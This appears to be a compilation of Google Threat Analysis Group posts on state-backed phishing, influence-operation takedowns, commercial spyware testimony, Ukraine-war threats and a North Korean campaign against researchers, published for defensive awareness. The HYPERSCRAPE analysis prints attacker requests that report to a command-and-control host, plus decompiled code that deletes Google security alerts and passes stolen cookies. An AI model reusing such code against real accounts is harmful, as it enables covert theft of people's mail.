The accounts have largely targeted business leaders in financial services, consulting, and healthcare corporations within numerous countries including, the U.S., Slovenia, Canada, India, Bahrain, Cyprus, and the UK.
The lures themselves encourage individuals to sign up for direct notifications from the WHO to stay informed of COVID-19 related announcements, and link to attacker-hosted websites that bear a strong resemblance to the official WHO website.
The sites typically feature fake login pages that prompt potential victims to give up their Google account credentials, and occasionally encourage individuals to give up other personal information, such as their phone numbers.
To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.
APP was designed specifically for high-risk accounts.
Government-backed or state-sponsored groups have different goals in carrying out their attacks: Some are looking to collect intelligence or steal intellectual property; others are targeting dissidents or activists, or attempting to engage in coordinated influence operations and disinformation campaigns.
Our products are designed with robust built-in security features, like Gmail protections against phishing and Safe Browsing in Chrome, but we still dedicate significant resources to developing new tools and technology to help identify, track and stop this kind of activity.
In addition to our internal investigations, we work with law enforcement, industry partners, and third parties like specialized security firms to assess and share intelligence.
When we find attempts to conduct coordinated influence operations on our platforms, we work with our Trust & Safety teams to swiftly remove such content from our platforms and terminate these actors’ accounts.
We take steps to prevent possible future attempts by the same actors, and routinely exchange information and share our findings with others in the industry.
We’ve also shared occasional updates about this kind of activity, and today we’re introducing a more streamlined way of doing this via a new, quarterly bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns (foreign and domestic).
Our actions against coordinated influence operations from January, February and March can be found in the Q1 Bulletin.
Since March, we’ve removed more than a thousand YouTube channels that we believe to be part of a large campaign and that were behaving in a coordinated manner.
These channels were mostly uploading spammy, non-political content, but a small subset posted primarily Chinese-language political content similar to the findings of a recent Graphika report.
We’ll also share additional removal actions from April and May in the Q2 Bulletin.
Our hope is that this new bulletin helps others who are also working to track these groups, such as researchers studying this issue, and we hope these updates can help confirm findings from security firms and others in the industry.
We will also continue to share more detailed analysis of vulnerabilities we find, phishing and malware campaigns that we see, and other interesting or noteworthy trends across this space.
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 of 2020.
It was last updated on May 27, 2020.
We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.
The campaign was linked to the Iranian state-sponsored International Union of Virtual Media (IUVM) network, and was reproducing IUVM content covering Iran’s strikes into Iraq and U.S. policy on oil.
We received leads from Graphika that supported us in this investigation.
We terminated 1 advertising account and 82 YouTube channels as part of our actions against a coordinated influence operation linked to Egypt.
The campaign was sharing political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.
We found evidence of this campaign being tied to the digital marketing firm New Waves based in Cairo.
This campaign was consistent with similar findings reported by Facebook.
We terminated 3 advertising accounts, 1 AdSense account, and 11 YouTube channels as part of our actions against a coordinated influence operation linked to India.
The campaign was sharing messages in English supportive of Qatar.
This campaign was consistent with similar findings reported by Facebook.
We banned 1 Play developer and terminated 68 YouTube channels as part of our actions against a coordinated influence operation.
The campaign was posting political content in Arabic supportive of Turkey and critical of the UAE and Yemen.
This campaign was consistent with similar findings reported by Twitter.
We terminated 1 advertising account, 1 AdSense account, 17 YouTube channels and banned 1 Play developer as part of our actions against a coordinated influence operation linked to Egypt.
The campaign was posting political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.
This campaign was consistent with similar findings reported by Twitter.
We banned 1 Play developer and terminated 78 YouTube channels as part of our actions against a coordinated influence operation linked to Serbia.
The domestic campaign was posting pro-Serbian political content.
This campaign was consistent with similar findings reported by Twitter.
Google’s Threat Analysis Group (TAG) is a specialized team of security experts that works to identify, report, and stop government-backed phishing and hacking against Google and the people who use our products.
We work across Google products to identify new vulnerabilities and threats.
Today we’re sharing our latest findings and the threats we’re seeing in relation to COVID-19.
One notable campaign attempted to target personal accounts of U.S. government employees with phishing lures using American fast food franchises and COVID-19 messaging.
Some messages offered free meals and coupons in response to COVID-19, others suggested recipients visit sites disguised as online ordering and delivery options.
Once people clicked on the emails, they were presented with phishing pages designed to trick them into providing their Google account credentials.
The vast majority of these messages were sent to spam without any user ever seeing them, and we were able to preemptively block the domains using Safe Browsing.
We’re not aware of any user having their account compromised by this campaign, but as usual, we notify all targeted users with a “government-backed attacker” warning.
We’ve also seen attackers try to trick people into downloading malware by impersonating health organizations:
Generally, we’re not seeing an overall rise in phishing attacks by government-backed groups; this is just a change in tactics.
In fact, we saw a slight decrease in overall volumes in March compared to January and February.
While it’s not unusual to see some fluctuations in these numbers, it could be that attackers, just like many other organizations, are experiencing productivity lags and issues due to global lockdowns and quarantine efforts.
When working to identify and prevent threats, we use a combination of internal investigative tools, information sharing with industry partners and law enforcement, as well as leads and intelligence from third-party researchers.
To help support this broader security researcher community, Google is providing more than $200,000 in grants as part of a new Vulnerability Research Grant COVID-19 fund for Google VRP researchers who help  identify various vulnerabilities.
As the world continues to respond to COVID-19, we expect to see new lures and schemes.
Our teams continue to track these and stop them before they reach people—and we’ll continue to share new and interesting findings.
As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.
For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.
Now, we’re shining light on a new tool of theirs.
In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.
The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.
We have seen it deployed against fewer than two dozen accounts located in Iran.
The oldest known sample is from 2020, and the tool is still under active development.
We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.
This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.
HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.
Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.
HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.
It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail.
Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.
After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google.
Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.
The tool is written in .NET for Windows PCs and is designed to run on the attacker's machine.
We tested HYPERSCRAPE in a controlled environment with a test Gmail Account, although functionality may differ for Yahoo!
and Microsoft accounts.
HYPERSCRAPE won't run unless in a directory with other file dependencies.
When launched, the tool makes an HTTP GET request to a C2 to check for a response body of "OK'' and will terminate if it's not found.
In the version tested, the C2 was unobfuscated and stored as a hardcoded string.
In later versions it was obfuscated with Base64.
GET http://{C2}/Index.php?Ck=OK HTTP/1.1
Host: {C2}
Accept-Encoding: gzip
Connection: Keep-Alive
The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file.
A new form is displayed if the information is not provided via command prompt.
Once provided, the data in the "Identity" field is sent to a C2 for confirmation.
Again, the response is expected to be "OK".
GET http://{C2}/Index.php?vubc={identity} HTTP/1.1
Host: {C2}
Accept-Encoding: gzip
If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop.
After parsing, the cookies are inserted into a local cache used by the embedded web browser.
A new folder named "Download" is created adjacent to the main binary.
The browser then navigates to Gmail to begin the data collection.
The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.
If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.
Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.
The language is returned to its original setting when the run is finished.
HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.
It does the following for each email found:
The emails are saved with ".eml" extensions under the Downloads directory with the filename corresponding to the subject.
A log file is written containing a count of the emails that were downloaded.
When finished, a HTTP POST request is made to the C2 to relay the status and system information.
The downloaded emails are not sent to the C2.
POST http://{C2}/?Key={GUID}&Crc={Identifier}
{
"appName": "Gmail Downloader",
"targetname": "{Email}",
"HostName": "REDACTED",
"srcUserIP": "REDACTED",
"actionType": "First",
"timeOccurrence": "05/01/2022 05:50:31 PM",
"OS": "REDACTED",
"OSVersion": "REDACTED",
"SystemModel": "REDACTED",
"SystemType": "REDACTED",
"srcName": "REDACTED",
"srcOrgName": "REDACTED"
}
The program will delete any security emails from Google generated by the attacker’s activity.
private bool IsThereAnyEMail() {
List < GeckoHtmlElement > list = (from x in this.geckoWebBrowser.
Document.
GetElementsByTagName("span")
where x.TextContent.
StartsWith ("Security alert") || x.TextContent.
StartsWith("Archive of Google data requested") || x.TextContent.
StartsWith("Your Google data archive is ready") || x.TextContent.
StartsWith("Your Google data is ready") || x.TextContent.
StartsWith("Critical security alert") || x.TextContent.
StartsWith("Access for less secure apps has been turned on") || x.TextContent.
StartsWith("Review blocked sign-in attempt") || x.TextContent.
StartsWith("Help us protect you: Security advice from Google") || x.TextContent.
StartsWith("Access for less secure apps has been turned on")
select x).ToList < GeckoHtmlElement > ();
bool flag = list.
Count == 0;
return !flag;
}
Data from Google Takeout is also available upon request, but the option was only found in early builds.
The functionality was not automated and it's unclear why it was removed in later versions.
When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.
When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.
public void ManageTakeOut() {
string text = "PipeName";
Process process = new Process();
process.
StartInfo.
Arguments = string.
Format("PIPE Google \"{0}\"", text);
process.
StartInfo.
FileName = Process.
GetCurrentProcess().MainModule.
FileName;
process.
Start();
PipeCommunication pipeCommunication = new PipeCommunication(true, text);
bool flag = false;
while (!flag) {
try {
JsonInfo jsonInfo = pipeCommunication.
Read();
switch (jsonInfo.
Type) {
case JsonType.
GetCookies:
jsonInfo.
Data = this.
CookieText;
pipeCommunication.
Write(jsonInfo);
break;
case JsonType.
TakeOutFile:
flag = true;
break;
case JsonType.
GetUsername:
while (this.
OperationObject.
GetUsername() == null) {
Thread.
Sleep(1000);
}
jsonInfo.
Data = this.
OperationObject.
GetUsername();
pipeCommunication.
Write(jsonInfo);
break;
}
} catch (Exception) {
bool hasExited = process.
HasExited;
if (hasExited) {
flag = true;
}
}
}
pipeCommunication.
Close();
}
TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted.
It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.
We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry.
We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.
In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.
C2s
136.243.108.14
173.209.51.54
HYPERSCRAPE binaries
03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369
35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208
5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798
6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f
767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4
977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f
ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6
cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa
Microsoft Live DLL
1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23
PDB
E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\EmailDownloader\obj\Debug\EmailDownloader.pdb
E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\Mahdi\LiveLib\obj\Release\LiveLib.pdb
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.
It was last updated on July 29, 2022.
The following testimony was delivered to the U.S. House Intelligence Committee by Shane Huntley, Senior Director of Google’s Threat Analysis Group (TAG) on July 27, 2022.
Chairman Schiff, Ranking Member Turner, and esteemed Members of the Committee:
Thank you for the opportunity to appear before the Committee to discuss Google’s efforts to protect users from commercial spyware.
We appreciate the Committee’s efforts to raise awareness about the commercial spyware industry that is thriving and growing, creating risks to Americans and Internet users across the globe.
Google has been tracking the activities of commercial spyware vendors for years, and we have been taking critical steps to protect our users.
We take the security of our users very seriously, and we have dedicated teams in place to protect against attacks from a wide range of sources.
Our Threat Analysis Group, or TAG, is dedicated to protecting users from threats posed by state-sponsored malware attacks and other advanced persistent threats.
TAG actively monitors threat actors and the evolution of their tactics and techniques.
For example, TAG has been closely tracking and disrupting campaigns targeting individuals and organizations in Ukraine, and frequently publishes reports on Russian threat actors.
We use our research to continuously improve the safety and security of our products and share this intelligence with our industry peers.
We also publicly release information about the operations we disrupt, which is available to our government partners and the general public.
TAG tracks and proactively counters serious state-sponsored and financially motivated information cyber criminal activities, such as hacking and the use of spyware.
And we don’t just plug security holes – we work to eliminate entire classes of threats for consumers and businesses whose work depends on the Internet.
We are joined in this effort by many other security teams at Google, including Project Zero, our team of security researchers at Google who study zero-day vulnerabilities in the hardware and software systems that are depended upon by users around the world.
Google has a long track record combating commercial surveillance tools targeting our users.
In 2017, Android – which is owned by Google – was the first mobile platform to warn users about NSO Group’s Pegasus spyware.
At the time, our Android team released research about a newly discovered family of spyware related to Pegasus that was used in a targeted attack on a small number of Android devices.
We observed fewer than three dozen installs of this spyware.
We remediated the compromises for these users and implemented controls to protect all Android users.
NSO Group continues to pose risks across the Internet ecosystem.
In 2019, we confronted the risks posed by NSO Group again, relying upon NSO Groups’s marketing information suggesting that they had a 0-day exploit for Android.
Google was able to identify the vulnerability in use and fix the exploit quickly.
In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users.
iPhone users could be compromised by receiving a malicious iMessage text, without ever needing to click a malicious link.
Short of not using a device, there is no way to prevent exploitation by a zero-click exploit; it's a weapon against which there is no defense.
Based on our research and findings, we assessed this to be one of the most technically sophisticated exploits we had ever seen, further demonstrating that the capabilities NSO provides rival those previously thought to be accessible to only a handful of nation states.
Although this Committee must be concerned with the exploits of NSO Group, it is not the only entity posing risks to our users.
For example, TAG discovered campaigns targeting Armenian users which utilized zero-day vulnerabilities in Chrome and Internet Explorer.
We assessed that a surveillance vendor packaged and sold these technologies.
Reporting by CitizenLab linked this activity to Candiru, an Israeli spyware vendor.
Other reporting from Microsoft has linked this spyware to the compromise of dozens of victims, including political dissidents, human rights activists, journalists, and academics.
Most recently, we reported in May on five zero-day vulnerabilities affecting Chrome and Android which were used to compromise Android users.
We assess with high confidence that commercial surveillance company Cytrox packaged these vulnerabilities, and sold the hacking software to at least eight governments.
Among other targets, this spyware was used to compromise journalists and opposition politicians.
Our reporting is consistent with earlier analysis produced by CitizenLab and Meta.
TAG also recently released information on a segment of attackers we call “hack-for-hire” that focuses on compromising accounts and exfiltrating data as a service.
In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.
They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.
In June, we provided examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates.
The growth of commercial spyware vendors and hack-for-hire groups has necessitated growth in TAG to counter these threats.
Where once we only needed substreams to focus on threat actors such as China, Russia, and North Korea, TAG now has a dedicated analysis subteam dedicated to commercial vendors and operators.
Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments.
These vendors operate with deep technical expertise to develop and operationalize exploits.
We believe its use is growing, fueled by demand from governments.
Seven of the nine zero-day vulnerabilities our Threat Analysis Group discovered in 2021 were originally developed by commercial providers and sold to and used by state-sponsored actors.
TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to state-sponsored actors.
This industry appears to be thriving.
In fact, there was recently a large industry conference in Europe, sponsored by many of the commercial spyware vendors we track.
This trend should be concerning to the United States and all citizens.
These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house.
While use of surveillance technologies may be legal under national or international laws, they are found to be used by some state actors for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.
We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.
Last year, TAG identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.
The actors behind this campaign, which we attributed to a government-backed entity based in North Korea, have employed a number of means to target researchers.
In addition to these concerns, there are other reasons why this industry presents a risk more broadly across the Internet.
While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret can pose a severe risk to the Internet when the vendor itself gets compromised.
This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.
The proliferation of commercial hacking tools is a threat to national security, making the Internet less safe and undermining the trust on which a vibrant, inclusive digital society depends.
This is why when Google discovers these activities, we not only take steps to protect users, but also disclose that information publicly to raise awareness and help the entire ecosystem, in line with our historical commitment to openness and democratic values.
Across all Google products, we incorporate industry-leading security features and protections to keep our users safe.
On Search, Google’s Safe Browsing is an industry-leading service to identify unsafe websites across the web and notify users and website owners of potential harm.
Google Safe Browsing helps protect over four billion devices every day by showing warnings to users when they attempt to navigate to unsafe sites or download harmful files.
Safe Browsing also notifies webmasters when their websites are compromised by malicious actors and helps them diagnose and resolve the problem so that their visitors stay safer.
On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam.
Spoofers may send forged messages using an organization’s real name or domain to subvert authentication measures.
We use email authentication to protect against email spoofing, which is when email content is changed to make the message appear from someone or somewhere other than the actual source.
And we offer other advanced phishing and malware protection to administrators to better protect their users.
By default, Gmail displays warnings and moves untrustworthy emails to the user’s spam folder.
However administrators can also use advanced security settings to enhance their users’ protection against suspicious attachments and scripts from untrusted senders.
For Android, through its entire development lifecycle, we subject the products to a rigorous security program.
The Android security process begins early in the development lifecycle, and each major feature of the platform is reviewed by engineering and security resources.
We ensure appropriate controls are built into the architecture of the system.
During the development stage, Android-created and open source components are subject to vigorous security reviews For users, Android provides safety and control over how apps and third parties can access the data from their devices.
For example, users are provided visibility into the permissions requested by each app, and they are able to control those permissions.
We have also built additional tools to prevent successful attacks on devices that run Android once those devices are in users’ hands.
For example, Google Play Protect, our built-in malware protection for Android, continuously scans devices for potentially harmful applications.
Although our security precautions are robust, security issues can still occur, which is why we created a comprehensive security response process to respond to incidents.
Google manages a vulnerability rewards program (VRP), rewarding researchers millions of dollars for their contributions in securing our devices and platforms.
We also provide research grants to security researchers to help fund and support the research community.
This is all part of a larger strategy to keep Google products and users, as well as the Internet at large more secure.
Project Zero is also a critical component of this strategy, pushing transparency and more timely patching of vulnerabilities.
Finally, we also offer the leading tools to protect important civil society actors such as journalists, human rights workers, opposition party politicians, and campaign organizations – in other words, the users who are frequently targeted by surveillance tools.
Google developed Project Shield, a free protection against distributed denial of service (DDoS) attacks, to protect news media and human rights organization websites.
We recently expanded eligibility to protect Ukraine government organizations, and we are currently protecting over 200 Ukraine websites today.
To protect high risk user accounts, we offer the Advanced Protection Program (APP), which is our highest form of account security.
APP has a strong track record protecting users – since the program’s inception, there are no documented cases of an account compromise via phishing.
We believe it is time for government, industry and civil society to come together to change the incentive structure which has allowed these technologies to spread in secret.
The first step is to understand the scope of the problem.
We appreciate the Committee’s focus on this issue, and recommend the U.S. Intelligence Community prioritize identifying and analyzing threats from foreign commercial spyware providers as being on par with other major advanced threat actors.
The U.S. should also consider ways to foster greater transparency in the marketplace, including setting heightened transparency requirements for the domestic surveillance industry.
The U.S. could also set an example to other governments by reviewing and disclosing its own historical use of these tools.
We welcome recent steps taken by the government in applying sanctions to the NSO Group and Candiru, and we believe other governments should consider expanding these restrictions.
Additionally, the U.S. government should consider a full ban on Federal procurement of commercial spyware technologies and contemplate imposing further sanctions to limit spyware vendors’ ability to operate in the U.S. and receive U.S. investment.
The harms from this industry are amply evident by this point, and we believe they outweigh any benefit to continued use.
Finally, we urge the United States to lead a diplomatic effort to work with the governments of the countries who harbor problematic vendors, as well as those who employ these tools, to build support for measures that limit harms caused by this industry.
Any one government’s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.
Google is investing heavily as a company and as an industry to counter serious threats to our users.
In the modern world, we must be able to trust the devices we use every day and ensure that foreign adversaries do not have access to sophisticated exploits.
While we continue to fight these threats on a technical level, the providers of these capabilities operate openly in democratic countries.
Google is committed to leading the industry in detecting and disrupting these threats.
I thank the Committee for this attention on this critical issue.
Google’s Threat Analysis Group (TAG) continues to closely monitor the cybersecurity environment in Eastern Europe with regard to the war in Ukraine.
Many Russian government cyber assets have remained focused on Ukraine and related issues since the invasion began, while Russian APT activity outside of Ukraine largely remains the same.
TAG continues to disrupt campaigns from multiple sets of Russian government-backed attackers, some of which are detailed in our previous updates.
Similarly, Russian observed disinformation efforts are also focused on the war in Ukraine and TAG has disrupted coordinated influence operations from several actors including the Internet Research Agency and a Russian consulting firm as detailed in the TAG Bulletin.
Most of these coordinated influence operations are Russian language efforts aimed at ensuring domestic support in Russia for the war.
Here is a deeper look at some campaign activity TAG has observed since our last update:
Turla, a group publicly attributed to Russia’s Federal Security Service (FSB), recently hosted Android apps on a domain spoofing the Ukrainian Azov Regiment.
This is the first known instance of Turla distributing Android-related malware.
The apps were not distributed through the Google Play Store, but hosted on a domain controlled by the actor and disseminated via links on third party messaging services.
We believe there was no major impact on Android users and that the number of installs was miniscule.
The app is distributed under the guise of performing Denial of Service (DoS) attacks against a set of Russian websites.
However, the 'DoS' consists only of a single GET request to the target website, not enough to be effective.
The list of target websites for the app can be seen in the CyberChef recipe here.
During our investigation into the Turla CyberAzov apps, we identified another Android app first seen in the wild in March 2022 that also claimed to conduct DoS attacks against Russian websites.
In this case, the Android app name was stopwar.apk (com.ddos.stopwar) and was distributed from the website stopwar.pro.
This app is quite different from the Turla apps described above and written by a different developer.
It also downloads a list of targets from an external site, but unlike the Turla apps, it continually sends requests to the target websites until it is stopped by the user.
Based on our analysis, we believe that the StopWar app was developed by pro-Ukrainian developers and was the inspiration for what Turla actors based their fake CyberAzov DoS app off of.
Indicators:
The Follina vulnerability (CVE-2022-30190), first disclosed in late May, received significant usage from both APT and cybercrime groups throughout June after it was patched by Microsoft.
Follina is a remote code execution (RCE) vulnerability in the Microsoft Windows Support Diagnostic Tool (MSDT).
Consistent with CERT-UA reporting, TAG observed multiple Russian GRU actors - APT28 and Sandworm - conduct campaigns exploiting the Follina vulnerability.
The Sandworm campaign used compromised government accounts to send links to Microsoft Office documents hosted on compromised domains, primarily targeting media organizations in Ukraine.
TAG has also observed an increasing number of financially motivated actors targeting Ukraine.
One recent campaign from a group tracked by CERT-UA as UAC-0098 delivered malicious documents with the Follina exploit in password-protected archives, impersonating the State Tax Service of Ukraine.
We assess this actor is a former initial ransomware access broker who previously worked with the Conti ransomware group distributing the IcedID banking trojan based on overlaps in infrastructure, tools used in previous campaigns, and a unique cryptor.
Ghostwriter/UNC1151, a threat actor attributed to Belarus, has remained active targeting accounts of webmail and social media networks of Polish users.
They continue to use the 'Browser in the Browser' phishing technique that TAG first observed and described in March.
An example of this technique, used to target Facebook users, can be seen in the screenshot below.
COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to send credential phishing emails to targets including government and defense officials, politicians, NGOs and think tanks, and journalists.
In addition to including phishing links directly in the email, the attackers also link to PDFs and/or DOCs, hosted on Google Drive and Microsoft One Drive, that contain a link to an attacker-controlled phishing domain.
In at least one case, unrelated to Ukraine, they have leaked information from a compromised account.
These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.
Recently observed COLDRIVER indicators:
In another campaign tracked by CERT-UA as UAC-0056 we observed compromised email addresses of a Regional Prosecutor’s office of Ukraine leveraged to send malicious Microsoft Excel documents with VBA macros delivering Cobalt Strike.
In just two days, the volume observed and categorized as spam by Gmail exceeded 4,500 emails.
Email contents vary from COVID-19 vaccine policy to the humanitarian crisis in Ukraine.
In January, the Threat Analysis Group documented a hacking campaign, which we were able to attribute to a North Korean government-backed entity, targeting security researchers.
On March 17th, the same actors behind those attacks set up a new website with associated social media profiles for a fake company called “SecuriElite.”
The new website claims the company is an offensive security company located in Turkey that offers pentests, software security assessments and exploits.
Like previous websites we’ve seen set up by this actor, this website has a link to their PGP public key at the bottom of the page.
In January, targeted researchers reported that the PGP key hosted on the attacker’s blog acted as the lure to visit the site where a browser exploit was waiting to be triggered.
The attacker’s latest batch of social media profiles continue the trend of posing as fellow security researchers interested in exploitation and offensive security.
On LinkedIn, we identified two accounts impersonating recruiters for antivirus and security companies.
We have reported all identified social media profiles to the platforms to allow them to take appropriate action.
At this time, we have not observed the new attacker website serve malicious content, but we have added it to Google Safebrowsing as a precaution.
Following our January blog post, security researchers successfully identified these actors using an Internet Explorer 0-day.
Based on their activity, we continue to believe that these actors are dangerous, and likely have more 0-days.
We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.
Fake Security Company Website:
LinkedIn Profiles:
Email:
Attacker Owned Domains:
Over the past several months, the Threat Analysis Group has identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.
The actors behind this campaign, which we attribute to a government-backed entity based in North Korea, have employed a number of means to target researchers which we will outline below.
We hope this post will remind those in the security research community that they are targets to government-backed attackers and should remain vigilant when engaging with individuals they have not previously interacted with.
In order to build credibility and connect with security researchers, the actors established a research blog and multiple Twitter profiles to interact with potential targets.
They've used these Twitter profiles for posting links to their blog, posting videos of their claimed exploits and for amplifying and retweeting posts from other accounts that they control.
Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including “guest” posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.
While we are unable to verify the authenticity or the working status of all of the exploits that they have posted videos of, in at least one case, the actors have faked the success of their claimed working exploit.
On Jan 14, 2021, the actors shared via Twitter a YouTube video they uploaded that proclaimed to exploit CVE-2021-1647, a recently patched Windows Defender vulnerability.
In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake.
Multiple comments on YouTube identified that the video was faked and that there was not a working exploit demonstrated.
After these comments were made, the actors used a second Twitter account (that they control) to retweet the original post and claim that it was “not a fake video.”
The actors have been observed targeting specific security researchers by a novel social engineering method.
After establishing initial communications, the actors would ask the targeted researcher if they wanted to collaborate on vulnerability research together, and then provide the researcher with a Visual Studio Project.
Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.
The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.
An example of the VS Build Event can be seen in the image below.
In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors’ blog.
In each of these cases, the researchers have followed a link on Twitter to a write-up hosted on blog.br0vvnn[.
]io, and shortly thereafter, a malicious service was installed on the researcher’s system and an in-memory backdoor would begin beaconing to an actor-owned command and control server.
At the time of these visits, the victim systems were running fully patched and up-to-date Windows 10 and Chrome browser versions.
At this time we’re unable to confirm the mechanism of compromise, but we welcome any information others might have.
Chrome vulnerabilities, including those being exploited in the wild (ITW), are eligible for reward payout under Chrome's Vulnerability Reward Program.
We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.
These actors have used multiple platforms to communicate with potential targets, including Twitter, LinkedIn, Telegram, Discord, Keybase and email.
We are providing a list of known accounts and aliases below.
If you have communicated with any of these accounts or visited the actors’ blog, we suggest you review your systems for the IOCs provided below.
To date, we have only seen these actors targeting Windows systems as a part of this campaign.
If you are concerned that you are being targeted, we recommend that you compartmentalize your research activities using separate physical or virtual machines for general web browsing, interacting with others in the research community, accepting files from third parties and your own security research.
Host IOCs
Registry Keys
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\KernelConfig
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverConfig
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSL Update
File Paths
C:\Windows\System32\Nwsapagent.sys
C:\Windows\System32\helpsvc.sys
C:\ProgramData\USOShared\uso.bin
C:\ProgramData\VMware\vmnat-update.bin
C:\ProgramData\VirtualBox\update.bin
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2020.
It was last updated on January 26, 2021.
We terminated 12 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Russian supporting the Russian military and criticizing U.S. military involvement in Japan.
We received leads from Facebook that supported us in this investigation.
We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Myanmar.
This domestic campaign posted content focused on elections and supporting the Union Solidarity and Development Party, (USDP).
This campaign was consistent with similar findings reported by Facebook.
We terminated 35 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.
This domestic campaign was linked to the New Azerbaijan Party and posted content supporting the Azerbaijani government and promoting Azerbaijani nationalism.
This campaign was consistent with similar findings reported by Facebook.
We terminated 26 YouTube channels and 1 blog as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content primarily in Russian and included news clips and military videos supporting the Russian government.
We received leads from the FBI that supported us in this investigation.
This campaign was consistent with similar findings reported by Facebook.
We terminated 2 YouTube channels as part of our ongoing investigation into a coordinated influence operation linked to Iran.
This campaign uploaded content in Farsi and Arabic that was critical of the Saudi government.
We terminated 10 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.
